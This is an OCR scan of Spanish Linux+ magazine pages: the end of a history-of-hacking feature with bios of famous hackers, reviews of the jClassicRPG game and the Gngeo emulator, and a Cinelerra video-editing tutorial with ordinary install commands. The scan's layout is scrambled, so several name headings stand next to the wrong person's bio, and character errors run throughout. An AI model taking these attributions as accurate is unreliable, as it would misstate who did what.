No obstante, yo me veo obligado a declarar mi
punto de vista personal, y es que Stallman man-
tiene una ideologia demasiado axiomadtica, lo
que le hace creerse muchas veces poseedor de
la verdad absoluta. Mientras admiro su fuerza
y su poder de conviccion, sus palabras inspiran
a veces cierto egoismo.

Dennis Ritchie

——
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seguridad y ethical hacking
Historia del hacking

John Draper

En multitud de entrevistas se le puede ver de-
clarando que GNU es el sistema operativo, y Li-
nux es su niicleo, y asimillones de veces. Un hacker
real jamas se adentraria en un tema tan super-
ficial mientras que su contribucion ayude a la
gente. Piénsese ademas que la definicion formal
de un sistema operativo es aquel programa que
gestiona todos los recursos del sistema, manejan-
do su hardware, gestionando la memoria y con-
trolando los procesos que en €l se ejecutan. Luego
su ultimo fin es brindar una interfaz al usuario.
Por lo tanto, cabe aclarar que todas estas funcio-
nes estan encargadas al nucleo y, en consecuen-
cia, Linux es el Sistema Operativo, mientras que
GNU es el conjunto de programas que lo com-
plementan y proporcionan al usuario material
con el que desarrollar sus actividades.

De un modo general es correcto decir que
el sistema completo se denomina GNU Linux.
Pero Stallman se ciega queriendo decir que
Linux es una simple muleta en la que se apoya
GNU mientras su nucleo propio, Hurd, no esté
totalmente disponible.

Simplemente el mas buscado por todos los cuer-
pos del FBI, sus acciones han sido ejemplo de
mucha gente, algunos lo consideraban como e/
chico perdido del ciberespacio.

Con 10 afios burlo el sistema de seguridad
de la Defensa de los Estados Unidos. Cazado
a la vez por otro hacker llamado Tsutomu Shi-
momura después que un feliz Dia de Navidad
Mitnick penetrara sus ordenadores en busca de

Linus Torvalds

un software de OKI que hacia que su teléfono
fuera invisible para los cuerpos del FBI.

Los primeros ordenadores que fueron
acariciados por las preciadas manos de Mitnick
fueron los de las tiendas de Radio Shack. Cono-
cido como e/ Condor, Kevin tuvo que realizar
un tratamiento para intentar superar su adiccion
a los ordenadores.

Kevin Mitnick, ¢hacker o cracker?, por mu-
cho tiempo éste ha sido un debate abierto...

Actualmente Kevin Mitnick es un reconoci-
do consultor de seguridad, cuya empresa se llama
Mitnick Security Consulting, LLC y cuya web
se puede visitar en el siguiente enlace: ttp://www.
kevinmitnick.com. Recomendamos ampliamente
la lectura de sus dos mejores obras: The Art of
Deception (El arte del engafio) y El Arte de la In-
trusion: La verdadera historia de las hazarias de
hackers, intrusos e impostores. Personalmente ten-
go la experiencia de haber leido dos veces este tl-
timo y quedarme maravillado con las habilidades
de los hackers de la vieja escuela.

En el ano 1988 puso en la red a un gusano que
infectd mas de 6000 ordenadores aprovechandose
de una vulnerabilidad del servidor de correo Send-
Mail através de lared ARPANET. Toc6 su primer
ordenador cuando su padre, jefe del NCSC, le
trajo una maquina directamente desde la NSA.
Morris realizaba muchas de sus acciones desde
una cuenta que poseia en los sistemas Bell y en
los cuales consiguio acceso de Super Usuario.

Mas conocido como Dark Dante se hizo famoso
por el control que hizo de las llamadas que se rea-
lizaban a la emisora de radio KIIS-FM, asi hizo
que su llamada fuera exactamente la nimero 702
consiguiendo de esta forma un Porsche 944 S2.

Era poseedor de un TRS-80 y fue declarado
culpable por la bisqueda de informacion secre-
ta sobre los agentes del FBI.

Salt6 a la fama por su gran logro al robar 10 mi-
llones de dolares al prestigioso Citibank. Penetrd
en los sistemas bancarios utilizando el ordenador
de su despacho personal en la universidad. Fue
arrestado en Londres. Segun declaraciones de
Levin, uno de sus abogados era un agente del FBI.
Algunos recuerdan a Vladimir como una cabeza
matematica.

Su apodo, Phiber Optik, fundador y miembro de
Masters of Deception. Inspiré a miles de perso-
nas en los Estados Unidos a explotar los sistemas
de la red telefonica. La revista New York califico
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a Mark como uno de los 100 hombres mas inteli-
gentes de la ciudad.

Tuvo en sus manos bastantes maquinas,
siendo solamente de su propiedad una TRS-80,
las otras fueron:

e Applell
*  Timex Sinclair
*  Commodore 64

Este excelente programador ha sido el creador del
lenguaje C, uno de los mas potentes que existen
en el mundo de la programacion. Trabajador de
Bell Labs. En la actualidad trabaja en el desarrollo
de un nuevo Sistema Operativo llamado Plan 9
que es una evolucion superior del sistema Unix,
pero con una estructura totalmente diferente ya
que se ha tenido que reescribir desde el principio.

Su nick, Capitan Crunch. Su hazafia mas desta-
cable fue la de utilizar un silbato de los cereales
Crunch (de ahi su nombre), para generar un so-
nido de 2.600 Hertzios el cual causaba el corte
de los contadores de la red telefonica de Bell.
John cre6 la primera Blue Box, ésta generaba
el mismo tono y fue distribuida a muchisima
gente que se aprovecho de su utilidad.

Nacido en 1969, y estudiante de la Universidad
de Helsinki, es uno de los hackers mas respeta-
dos de la comunidad informatica, a lo largo del
aflo 1991 creo la primera version del nticleo del
innovador sistema operativo Linux. Obviamen-
te, sin su hazafia hoy en dia no estarias leyendo
esta revista.

La historia del hacking es larga, desde luego de-
masiado como para poder describirla aqui, pre-
cisariamos varios tomos para un completo acer-
camiento; pero nuestra intencién era ofrecer
un breve resumen de los acontecimientos mas
importantes que se han sucedido con el trans-
curso de los afios. Invito a todos los lectores
a que obtengan el libro The Hacker Crackdown
de Bruce Sterling, el cual puede ser encontrado
en formato PDF, gratuito y libre. Esto sera para
muchos un gran acercamiento a una etapa real-
mente critica del hacking mundial.

Espero y esperamos que, algin alma con
suficiente talento y curiosidad, pueda algun dia
pasar a formar parte de esta historia, y continuar
asi con una evolucion que, aunque muchos no
sean conscientes, es el pilar basico del funcio-
namiento global de la red de redes y el desarro-
llo tecnolédgico. &
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software
JuegOS seccion llevada por Francisco J. Carazo Gil

jClassicRPG

n la actualidad, la practica totalidad de los juegos RPG (Role
E Playing Game), es decir de rol, estan orientados al juego a tra-
vés de la red en mundos donde cada vez hay menos IA (inteligencia
artificial) y mas jugadores reales. Paso la época de los Final Fantasy
y por supuesto de los miticos Secret Of Mana o Zelda... tal como los
conocimos en sus dias de 16 o 32 bits al menos. Ahora la moda es la de
juegos masivos donde los contrincantes son personas, lo que ademas de
crear una sociedad virtual, incrementa enormemente las posibilidades
de los juegos y por supuesto, su adictividad.

Dado que son juegos que
{ no necesitan de unos recursos
graficos especialmente altos para
llegar a resultar entretenidos, no
es de extraflar que no son pocos
los MMORPG (RPG masivos en
linea, on line como se diria en in-

glés) que a dia de hoy funcionan
a través de interfaces web, que

Figura 1. jClassicRPG

proporcionan mayores posibilida-
des de cara a la portabilidad y facilidad de acceso, sacrificando otros
aspectos, como por ejemplo éste de los graficos.

Pasada ya la introduccion a este mundo de los juegos RPG, os pre-
sentamos el primer juego de este mes, jClassicRPG. Espero que el mes
pasado no echarais de menos esta seccion y que los juegos recetados dos
meses atras os hayan entretenido todo este tiempo. Como decia, el primer
juego de este mes, jClassicRPG, como bien indica su nombre un RPG al
estilo clasico y como indica la j que lo precede, implementado en Java.

Aunque pueda parecer extrafio al estar desarrollado en Java (por el
tema de la eficiencia de calculo y memoria menor con esta tecnologia),
sus graficos son tridimensionales y por lo general todos los detalles del
mismo estan muy cuidados. Por ahora se encuentra en fase de desa-
rrollo, por lo que si podéis jugarlo aunque con el tiempo veréis viendo
mejoras (si descargais nuevas versiones).

Es un juego libre y lo tenéis disponible para descargar en la Wiki
que referencio al final de este apartado. Como podéis imaginar, al ser
un juego implementado en Java y con graficos tridimensionales, nece-
sitais un equipo con una potencia mediana: por supuesto, tarjeta grafica
con el controlador instalado; procesador Pentium IV a unos 1,6 GHz (o
similar) y unos 500 MB libres de RAM cuando ejecute el juego. Como
podéis comprobar, requisitos superables por un equipo moderno pero
que pueden resultar ajustados si es ya veterano.

También necesitais tener instalada una maquina virtual de Java. Os
descargais el fichero comprimido del servidor y procedéis a desempa-
quetarlo, una vez todo esté preparado, ejecutais el fichero: jerpg.sh. Es un
juego multiplataforma, gracias a la tecnologia que usa, y podréis ejecutarlo
también en sistemas Windows y Mac OS. En definitiva, un juego en pro-
greso que por ahora ya puede darnos unas cuantas horas de diversion y que
espero que veamos crecer entre todos. Por cierto, aprovecho para comen-
taros que sus creadores son un grupo de desarrolladores americanos, de los
que podéis conocer mas informacion en los sitios que os referencio.

http://jcrpg.blogspot.com/ — Blog del Proyecto
http://javacrpg.sourceforge.net/wiki/index.php/
Main_Page — Wiki del Proyecto

LiNUX+
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Gngeo

H ace ya unos pocos meses que no termino el articulo con un
emulador. Quizas penséis que se me han acabado ya, pero por
fortuna, el mundo del software libre es muy rico en creacion de estas
aplicaciones tan interesantes que nos permiten volvernos nostalgicos y
poder revivir antiguos momentos en nuestros equipos actuales. La co-
modidad, calidad y el bajo coste de las emulaciones, han hecho que se
conviertan con el paso del tiempo, en una alternativa para el disfrute en
todo tipo de plataformas: desde las GP2X y su familia de derivados de
consolas portatiles libres, a los tan de moda netbooks que con sus redu-
cidas dimensiones se convierten
en estaciones de juegos gracias
a los emuladores. A excepcion de
los emuladores de equipos y arqui-
{ tecturas mas modernos, no suelen
requerir grandes necesidades de
calculo, por lo que podemos dis-

J frutarlos hasta en maquinas bas-
tante antiguas.

Figura 2. Gngeo

El emulador que cierra la se-
ccion este mes es Gngeo y como podéis imaginar por su nombre, es
un emulador de la mitica NeoGeo. La consola, producida por SNK
(Shin Nihhon Kikaku), estuvo relacionada en un primer momento con
el mundo de las maquinas recreativas, pero dado el éxito que tuvo,
comenzo a venderse en el mercado minorista al poco tiempo. Su rival,
la Mega Driver, como era conocida en Espafia; o Genesis, como se le
conocia en otros lugares del mundo; de Sega, era bastante mas pobre
en cuanto a posibilidades.

A aquella altura de la década de los noventa, que me parece que
fue ayer, era sin lugar a dudas la consola para mercado doméstico
mas potente presente en las tiendas de electronica de todo el mundo.
Como contrapunto, su potencia tenia un precio y no llegé a tener una
popularidad tan alta como sus rivales, Mega Driver primero y Super
Nintendo posteriormente, por el elevado precio al que era vendida. Por
s6lo contaros un detalle, su chip de sonido disefiado por Yamaha, le
ofrecia 15 canales con calidad de CD en una época en la que atn no era
corriente ofr si quiera 1 a dicha calidad. Algunos la consideraban més
una maquina recreativa que una consola doméstica.

Gngeo es un emulador libre que os hara disfrutar de todos sus titu-
los dada su excelente compatibilidad. El emulador en si, esta disponi-
ble para descarga en la referencia que os dejo mas abajo, pero si queréis
ademas de descargar el emulador, descargar un interfaz grafico para el
mismo que os facilite su uso y os permita explotar sus posibilidades,
podéis elegir entre: Gngeogui, GGF, XnGeo o por ultimo, el XGngeo
que personalmente os recomiendo.

Para instalarlo podéis probar a encontrarlo en los repositorios o si-
no os descargais el codigo fuente de la pagina web y paso seguido, tras
desempaquetarlo y descomprimirlo, ejecutais: ./configure && make
y luego, make install como superusuario.

Espero que disfrutéis mucho de los clasicos de Neo Geo y lo dicho,
si queréis mas facilidad para jugar, instalaros aparte un frontend de los
que os he comentado, preferiblemente, el XGngeo.

http://gngeo.berlios.de/

jugabilidad N/A
graficos N/A
sonido N/A
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Descubriendo a Cinelerra

Descubriendo
a Cinelerra:

un clasico editor libre de video

Franco lacomella
Cinelerra es un software de edicién de videos en tiempo real liberado bajo licencia
GNU GPL v2. Es sin dudas el programa de este tipo mas poderoso en el universo
del Software Libre. Un clasico que ya tiene varios afios de desarrollo, ha acumulado
diversas funcionalidades que le dan caracteristicas realmente potentes y una
comunidad de usuarios muy fieles.

linux@software.com.pl

n este articulo conoceremos sus aspectos gene-

rales de desarrollo, repasaremos sus principales

funcionalidades y caracteristicas, aprenderemos

como compilarlo e instalarlo de forma binaria
y descubriremos sus usos practicos mas inmediatos y prove-
chosos. Por ultimo, echaremos un vistazo al futuro de este
gran proyecto libre.

Historia, desarrollo

y versiones existentes

El desarrollo original que da base a Cinelerra data de hace
mas de una década. HeroinVirtual, una empresa de desarro-
llo de software, publicd en 1996 un programa de edicion
de audio llamado Broadcast 1.0 que funcionaba desde la
consola de GNU Linux.

El producto de la empresa crecid y se perfecciond con
el tiempo. Para el afio 2000, HeroinVirtual planeaba el
lanzamiento de una nueva version llamada Broadcast 2000
que incluiria la posibilidad de editar audio y video de forma
multipista. La publicacion del mismo fue cancelada y el pro-
grama cambi6 de nombre: nacia asi Cinelerra. El mismo fue
liberado bajo la licencia libre GPL del Proyecto GNU.
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Desde entonces, Heroine Virtual ha lanzado una nueva
version 2 6 3 veces al afo, este release oficial consiste en
un paquete RPM pre-compilado (para Fedora Core Linux),
ademas del codigo fuente. Por la lentitud del desarrollo
y los limites de la version oficial (s6lo RPM y fuentes), un
grupo de desarrolladores de la comunidad cre6 una version
de Cinelerra llamada Cinelerra-CV (CV viene de Version
de la Comunidad por su traduccion del inglés).

Esta version permite a la comunidad contribuir a tra-
vés de un repositorio accesible a todos. Cuenta ademas
con listas de correo y canales de IRC que se utilizan para
dar soporte a usuarios menos expertos y para llevar ade-
lante discusiones técnicas. Cinelerra-CV tiene paquetes
para casi todas las distribuciones GNU/Linux y tiene
también un sistema distinto de compilacion: las librerias
de sistema son utilizadas extensivamente y las herramien-
tas autoconf/automake son utilizadas para configurar el
sistema de compilacion. En el siguiente acépite profundi-
zaremos en este tema al explicar como compilar Cinelerra
desde las fuentes.

Aunque Cinelerra-CV puede ser llamada, técnicamente,
una bifurcacion (o derivacion, o fork), la relacion entre ésta y
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Figura 1. Pantalla de Cinelerra 2.1

Heroine Warrior es amistosa y HV da su contri-
bucion en las discusiones de la lista, asi como
asume muchas de las mejoras del repositorio GIT.

En esta nota nos referiremos siempre al
uso de la versién CV de Cinelerra, siendo que
ésta tiene un mayor grado de actividad, mayor
soporte por parte de la comunidad y es, en ge-
neral, una mejor opcion.

Principales caracteristicas

Algunas de las principales caracteristicas de
Cinelerra, para dar cuenta de la capacidad del
mismo, se listan y describen a continuacion:

e Edicion y composicion incluidas en la
misma herramienta,

*  Formato de archivo nativo basado en XML
(transparente),

»  Panoramica de imagenes fijas,

¢ Pistas ilimitadas,

*  Modos de color RGBA 'y YUVA a 16 bits,

e Edicién con coma flotante,

¢ Edicion de forma libre,

¢ Firewire, MJIPEG, bttv video 1/O,

¢ Firewire, OSS, Alsa audio 1/0O,

»  Multiples efectos de audio y video,

»  Efectos en tiempo real,

*  Soporte para formatos Quicktime, AVI,

MPEG, y secuencia de imagen /O,

About

Delete g indexes

*  Soporte nativo para formato OGG (Theora
y Vorbis),

*  Plugins LADSPA,

e Mascaras de Bezier,

*  Seguimiento de pistas como una consola
real,

» Diferentes modos de overlay,

* Inversion de video y audio a tiempo real,

»  Soporte para renderizado distribuido (gran-
jas de renderizado).
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Por otro lado es necesario decir que Cinelerra
no es un programa perfecto, pero ninguno lo es.
Quiza los mayores problemas de Cinelerra sean
su inestabilidad y el disefio de la interfaz.

Sobre el primero podemos decir que se re-
suelve en gran medida haciendo un buen uso de
las opciones de configuracion del programa. Ocu-
rre que para poder usar correctamente Cinelerra
se necesita una serie de conocimientos minimos
que nos permitan comprender el funcionamiento
del proceso de rendering, dispositivos de audio-
video y algunas otras cuestiones técnicas que
quizd un usuario casual o novato en edicién de
video desconozca.

La interfaz de Cinelerra es en si poco atracti-
va. Los widgets usados corresponden a librerias
realmente antiguas (si se lo compara con las ac-
tuales GTK+y QT4), y muchas veces es criticada
por su aspecto antiestético. De todas formas, el
principal problema en este apartado puede resul-
tar en la usabilidad de la herramienta. Cinelerra
no se integra visualmente al actual escritorio de
GNU Linux, tiene su propia logica de funciona-
miento que a veces difiere con otras herramien-
tas libres. A su favor podemos decir que la curva
de aprendizaje del programa no es alta y con al-
gunos conocimiento minimos, un usuario sin ex-
periencia podra encontrarse editando y creando
videos en pocos minutos.

Instalacién y configuracion

Ala hora de instalar Cinelerra optaremos, co-
mo se ha dicho, por la version CV. Como en
casi todos los proyectos de Software Libre,
existen minimamente dos opciones a la hora
de elegir un medio de instalacion: compilar el
codigo fuente o instalar un paquete binario.
A continuacioén conoceremos como proceder
en cada caso.
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Figura 2. Ventana de Preferencias de Cinelerra

www.lpmagazine.org

67



a3

68

software
Descubriendo a Cinelerra

+

d concatenate tracks

Figura 3. Cinelerra usando el estilo visual Blue Dot

Compilando la version
del repositorio GIT
El equipo de desarrolladores de la comunidad
que mantiene Cinelerra-CV utiliza GIT como sis-
tema de gestion de versiones centralizadas. Al
descargar el codigo fuente desde este repositorio
obtendremos la version mas reciente del mismo,
ya que descargaremos los archivos desde el
servidor central que utilizan los desarrolladores.
Dicho de otra forma: compilaremos la version
mas actual del proyecto, con las ventajas que esto
conlleva (contaremos con las ultimas funcio-
nalidades y la mayor cantidad de errores pasados
ya corregidos) y con los riesgos que también im-
plica trabajar con una version de desarrollo.
Veamos entonces como descargar y com-
pilar Cinelerra-CV desde GIT. Primero ejecuta-
mos desde una consola de texto:

$ git clone git://git.cinelerra.org/

jé6t/cinelerra.git cinelerra-cv
Ahora compilamos el codigo haciendo:

cd cinelerra-cv
./autogen.sh
. /configure

make
y por ltimo, con permisos de super usuario:
# make install

Luego del proceso tendremos la Gltima version
de Cinelerra instalada.

Instalando paquetes binarios

Para aquellos usuarios que no quieran usar la
ultima version de desarrollo de Cinelerra-CV
y prefieran usar en cambio un release estable,
es preferible que instalen la version binaria del
paquete correspondiente a la distribucion de
GNU Linux que estén usando. En este caso,
explicaré brevemente como instalar Cinelerra
en Ubuntu 8.10 (la version mas actual de dicha
distribucion a la fecha). Para hacerlo, agregare-
mos un repositorio adicional a nuestra configu-
racién ya que Cinelerra no se encuentra en los
repositorios oficiales de Ubuntu. Para hacerlo
ejecutamos, siempre como super usuario:

# echo deb http://akirad.cinelerra.org
akirad-intrepid main | sudo tee /etc/
apt/sources.list.d/akirad.list

# wget -q http://akirad.cinelerra.org/
dists/akirad.key -O- | sudo apt-key
add -

# sudo apt-get update

# apt-get install cinelerra

Pueden encontrar mas informacion sobre este
repositorio independiente en el sitio web de su
mantenedor: Attp.//akiradproject.net/repository.

Configuracion y puesta a punto
Una vez que Cinelerra esta funcionando pode-
mos empezar a utilizarlo. En primera instancia es
preferible no cambiar ningtin valor de configura-
cién. Si luego de comenzar a usarlo observamos
que se producen problemas de sincronizacion
de audio-video, como lentitud en el programa o
inestabilidad, podemos empezar a experimentar
con las opciones de configuracion. A continua-
cién encontraran un listado de configuraciones
recomendadas que suelen dar buenos resultados.
Todas ellas se aplican en la ventana de Prefe-
rencias ([Shiff] + [P]).
En la pestaia Playback:

e Aumentar el valor del campo Playback Buf-
fer size a, por lo menos, 131072,

e Usar ALSA como sistema de reproduccion
y marcar la opcion Stop playback locks up,

e Marcar la opcion Decode frames asyn-
chronously,

¢ Probar con otro Video Driver (recomenda-
mos X11 o X11-XV).

En la pestaia Recording:

*  Enla opcion Import images with duration
of: podemos ingresar un valor fijo de tiem-
po para las imagenes estaticas que se in-
cluyen en la linea de tiempo. 5 segundos
es una buena opcion.

En la pestafia Performance:

»  Sitenemos problemas de rendimiento, pode-
mos intentar probar aumentando los valores

Cache size y Seconds to preroll renders.
En la pestafia Interface:

e Si la estética oscura caracteristica de
Cinelerra no les agrada, pueden probar
alguno de los otros estilos visuales dispo-
nibles. Recomiendo Blue Dot. Reinicien
el programa para que el cambio se haga
efectivo.
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Creando un proyecto nuevo

Lo primero que tenemos que hacer es pensar
y decidir qué video vamos a generar y para
qué. En funcién de para qué lo queramos, la
resolucion del video y el formato, el video ocu-
para mas o menos, y sera mas adecuado para
una cosa u otra.

Estos parametros los ajustamos desde la
ventana de nuevo proyecto (Tecla rapida [n]).

En esa ventana podremos elegir entre una
serie de presets que ya nos ofrece el programa
o crear uno propio. Aqui es importante asegu-
rarnos de que el campo Fotogramas/seg se en-
cuentra correctamente asignado. Si en el mo-
mento de reproducir un video dentro de Cine-
lerra se pierden cuadros, es muy posible que
dicho valor esté mal configurado.

Los formatos de video mas comunes sobre
los que se suele trabajar son PAL (720x576
a25 fps) y (NTSC es 720x480 a 29.97 (=30000/
1001) fps). Esto es especialmente importante si
queremos generar un DVD. También debemos
tenerlo en cuenta a la hora de importar videos
a nuestros proyecto.

Insertando videos y otros recursos
Cinelerra nos brinda la posibilidad de car-

gar ficheros de multiples maneras (Tecla ra-
pida [o]):

*  Reemplazar proyecto actual: Carga el fiche-
ro borrando todo lo que tengamos en la linea
de tiempo. Si se carga mas de un fichero és-
tos se afiaden en pistas nuevas.

+  Reemplazar proyecto actual y concatenar pis-
tas: Carga el fichero borrando todo lo que
tengamos en la linea de tiempo. Si se carga
mas de un fichero éstos se afladen uno detras
de otro, cada cual en su tipo de pista.

*  Afadir en una pista nueva: Los ficheros son
cargados en pistas nuevas.

*  Concatenar con las pistas existentes: Los fi-
cheros son afiadidos al final de las pistas que
tengamos en el proyecto.

»  Pegar en el punto de entrada: Los ficheros
que carguemos seran afnadidos tomando
como punto de inicio el cursor de la linea
de tiempo o el punto de entrada (]).

Figura 4. Ventana de creacién de nuevo proyecto



Figura 5. Opciones a la hora de insertar un nuevo recurso al proyecto

e Crear s6lo recursos nuevos: Los ficheros
no son afiadidos a la linea de tiempo. Se
afladen a la ventana de recursos para po-
der tratar con ellos posteriormente.

Si lo que estamos intentando insertar es un vi-
deo, es importante que tengamos en cuenta las
dimensiones y framerate del mismo, de tal modo
que sea compatible con la configuracién propia
del proyecto que elegimos al crear el mismo.
En el caso de ficheros que no tengan el formato
adecuado, es posible usar algunas herramientas
externas para reconvertirlos. Podemos usar men-
coder o ffmpeg para convertirlos a MPEG4.
También puede identificar los codecs y contene-
dores de cualquier video ejecutando el siguiente
comando:

$ mplayer -identify <video.xyz>

Para convertir el video usando ffmpeg (la op-
cion “-sameq' conserva la calidad original):

$ ffmpeg -sameq -i video original.xyz

video convertido.mpeg

Convertir con mencoder :

$ mencoder video original.xyz -ovc

lavc -lavcopts vcodec=mpeg4:vhq:

Figura 6. Vista de pistas de video y audio en Cinelerra

vbitrate=6000 -oac mp3lame -lameopts
br=256:vol=1 -ffourcc DIVX -o

video convertido.avi

Una vez agregado el recurso y dependiendo de
la opcion elegida al hacerlo, éste estara dispo-
nible en la linea de tiempo o en la ventana de
recursos. En el tltimo caso, podemos agregar la
secuencia al proyecto arrastrando el elemento.

Trabajando con capas
El componente sobre el que mas se trabaja al usar
Cinelerra es la secuencia de tiempo. La misma
esta dividida en capas de video y audio. Podemos
anadir la cantidad de capas que necesitemos ya
que no existe un limite. Las capas de video se
apilan verticalmente, haciendo que las secuen-
cias que se encuentren en las capas superiores
se superpongan sobre las inferiores. El combi-
nar esto con efectos de chroma o imagenes con
transparencia, nos habilita a crear composiciones
realmente complejas. Podemos agregar una ca-
pa de audio a la secuencia utilizando la tecla T
y agregar una de video usando [Shiff] + [T].
Cada capa tiene un menu contextual, el me-
nu de capa, que se puede activar pulsando con el
botdn derecho del raton sobre la pista. El menti de
la pista contiene las siguientes opciones:

e Afadir efecto — abre un didlogo con los
efectos aplicables a este tipo de capa.

*  Subir —sube la posicion de la capa en la pila.

*  Bajar — baja la posicion de la capa en la pila.

*  Borrar pista — elimina la capa del programa.

*  Afadir pista — afiade una capa del mismo
tipo (audio/video) que la seleccionada.

*  Redimensionar pista — redimensiona la capa.

*  Adaptar a la dimension de la salida - redi-
mensiona la capa para que tenga el mismo
tamario que la salida.

www.lpmagazine.org
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A la izquierda de la linea de tiempo hay una
region con botones 1lamada el area de control.
Aqui se habilita una funcionalidad especifica
para cada capa. Todas las capas tienen en esta
area un cuadro de texto en el que se les puede
asignar un nombre.

Todas las capas tienen un boton de expansion
que permite ver opciones adicionales de control,
asi como los efectos aplicados sobre la capa. Para
expandir o reducir la capa, pulse sobre el boton de
despliegue. Si esta apuntando hacia la derecha, la
capa esta reducida. Si apunta hacia abajo, la capa
esta expandida. Los efectos existentes aparecen
al pie de la capa, cuando esta desplegada.

Todas las capas tienen, ademas, una fila de
botones con diversa funcionalidad.

Si el boton esta coloreado, la opcion esta
activada para esa capa en concreto. Si el color de
fondo del boton es el mismo que el resto del area
de control, la opcion que representa esta desacti-
vada. Pulse en el boton para activar o desactivar
la funcionalidad. Hay formas de acelerar la confi-
guracion de varias capas a la vez, usando el raton.

Puede pulsar en un boton y arrastrarlo a lo
largo de varias capas adyacentes, para copiar
asi el mismo valor del atributo que representa
en todas esas capas.

Puede pulsar la tecla Bloq M al pinchar en
un atributo de una capa para activar dicho atri-
buto en la capa en que esta pulsando, y cambiar
su estado en todas las demas capas (en cada
capa se pondra el valor opuesto al actual).

También puede pulsar la tecla Blog M
mientras pincha en un atributo. Si, manteniendo
la tecla pulsada, sigue pinchando en el mismo
atributo, dicho atributo acabara desactivindose
en todas las capas salvo aquella en que esta
pinchando. En ese momento, puede arrastrar
el cursor del raton sobre las capas adyacentes,
para habilitar el atributo sobre todas aquellas
sobre las que se mueva.

El resto de atributos afectan a la salida de
la capa:

« Marmal
1clit

Subtract
hAultiply

Figura 7. Area de control de una capa con todas sus
opciones
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Figura 8. Ventana de Recursos mostrando los diver-
sos efectos disponibles

e Ver capa: Determina si la capa se va a ren-
derizar o no. Si estd desactivado, la capa
no se va a renderizar. Sin embargo, si la
capa estd encadenada a otras capas, estas
otras capas ejecutaran los efectos que lo
requieran sobre esta capa, tanto si se pue-
de ver como si no.

*  Montar capa: Determina si la capa estd
bloqueada o no. Sélo a las capas montadas
les afectan las operaciones de edicion. De-
be asegurarse siempre de tener suficientes
capas de destino montadas cuando pegue
o inserte contenido a partir de un recurso,
0 habra capas del material que se perderan.
Ademas de restringir las operaciones de
edicion, las capas montadas determinan,
junto con la region activa, donde se inserta
el material al cargar nuevos ficheros. Si
los ficheros se cargan con alguna estra-
tegia de insercion que no implique borrar
el proyecto existente, las capas montadas
seran las capas de destino. Como acaba-
mos de mencionar, si no hay suficientes
capas montadas se podria perder parte del
contenido que esta cargando. Puede pulsar
la tecla [T4B] mientras el cursor del raton

Figura 9. Configurando el efecto Balance de colores
aplicado a una porcion de un video

estd en cualquier punto de una capa para
cambiar el estado de una capa (montarla
o desmontarla). Puede pulsar Bloq [M] +
[TAB] mientras el cursor del raton esta
sobre una capa para cambiar el estado de
todas las demas capas a la vez (montarlas
o desmontarlas).

*  Gang fader: Acoplar los faders. Un fader es
un control que permite aplicar una atenua-
cién gradual (o un incremento) al volumen
de sonido o la opacidad de la imagen. Cada
capa tiene un fader. Este control sirve para
acoplar los faders de varias capas, de mane-
ra que el nivel de audio de todas las capas
cuyos faders estan acoplados se ajuste si-
multaneamente (los cambios en una afectan
inmediatamente a las demas). Al acoplar los
faders, también se acopla el retraso de las
capas afectadas, sincronizandose inmediata-
mente.

»  Dibujar recursos: Determina si se van a di-
bujar picons o formas de onda en la capa.
Por defecto, algunos formatos de fichero se
cargan con esta opcion desactivada, mien-
tras que otros lo hacen con la opcion acti-
vada. Depende de si el formato de fichero
suele requerir mucho tiempo hasta que se
puede dibujar en la linea de tiempo. Basta
con que lo active para poder ver los picons
de cualquier formato de fichero.

» Silenciar capa: La salida de la capa se ig-
nora, una vez que la capa ha sido completa-
mente renderizada. Esta opcion es indepen-
diente de la opcion ver capa. Si la capa es
parte de una cadena de efectos, la capa de
salida de la cadena de efectos serd evitada
en la salida final, incluso si debiera ser re-
dirigida hacia otra capa. Las capas mudas
se usan para evitar que la capa de efecto en
cadena se superponga a la salida de la capa
original.

»  Fader: Todas las capas tienen un fader. Un
fader es un control que permite aplicar una
atenuacion gradual (o un incremento) al vo-

%
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Figura 10. Ventana de renderizado de Cinelerra
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lumen de sonido o la opacidad de la ima-
gen. Las unidades de medida del fader de-
penden de si la capa es de audio o video.
Arrastre el boton del fader para atenuar la
capa al principio o al final. Si esta acoplado
a otros faders de capas del mismo tipo, con
la opcion de montar habilitada, los otros fa-
ders deberian moverse en sincronia. Puede
pulsar la tecla Bloq [M] mientras desplaza
un fader, para centrarlo en cero.

Editando las capas

Las operaciones basicas que podemos hacer son
las de copiar, cortar y pegar. Para hacerlo, debe-
mos primero seleccionar una porcion de la linea
de tiempo. Hay dos métodos para seleccionar:

* Usando el Modo de edicion para cortar
y pegar, que podemos habilitar presionan-
do la Tecla I.

+  Utilizando una seleccion por Punto de En-
trada ([ )y Punto de Salida (] ).

La primera es una seleccion mas libre, la segun-
da es mas precisa.

Una vez realizada la seleccion podremos
cortar (Tecla [X]), copiar (Tecla [C]), suprimir
y contraer (Tecla [Suprimir]), suprimir sin
contraer (Tecla [M]) y pegar reemplzando la
seleccion (Tecla [1]).

Anadir efectos a las secuencias
Cinelerra permite afladir efectos a las capas de
video, de audio y también efectos de transicion.
Para agregar un efecto, abra la ventana de Re-
cursos y busque alli el efecto deseado. Ahora
arrastre el icono hacia la secuencia, el fragmen-
to o la seleccion deseada.

Otra forma de afiadir un efecto es usar el
menu contextual que se despliega al hacer clic
derecho sobre una capa. Elija la opcion Ariadir
efecto.

La mayor parte de los efectos tienen tam-
bién una serie de propiedades que afectan su
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Licencia del presente articulo

Este articulo es una obra de Franco laco-
mella. La reproduccién, modificacion y dis-
tribucion literal de este articulo completo
estan permitidas en todo el mundo, sin re-
galias y en cualquier medio, siempre y cuan-
do se preserve este aviso.

funcionamiento. Para acceder a dichas pro-
piedades debemos hacer clic derecho sobre la
implementacion en la linea de tiempo del efecto
usado y elegir la opcion Cambiar.

Los efectos de transicion se aplican de for-
ma similar, pero debemos contar con al menos
dos fragmentos dentro de la misma capa para
poder insertarlo.

Renderizando el proyecto

Cuando estemos conformes con el resultado de
nuestra edicidn, podemos proceder al ltimo pa-
so: el renderizado. Al final de este proceso obten-
dremos la secuencia final en el formato y calidad
elegidos. Veamos algunas opciones disponibles.

Para ingresar al menu de renderizado pre-
sionamos [Shifi] + [R]. En la ventana desplegada
podemos elegir el nombre del archivo a generar,
el formato de salida, las opciones para habilitar
y deshabilitar el renderizado de audio o video, el
rango de renderizado y la estrategia de insertado.

Aqui es muy importante comprender el
formato de salida. Cinelerra ofrece las opciones
mas comunes como AVI, MPEG, Quicktime
for Linux. La opcion recomendada es rende-
rizar nuestros proyectos en un formato libre,
como OGG. Cinelerra puede renderizar audio
OGG Vorbis y video en OGG Theora.

El icono con el dibujo de una llave inglesa
permite ajustar los pardmetros de compresion
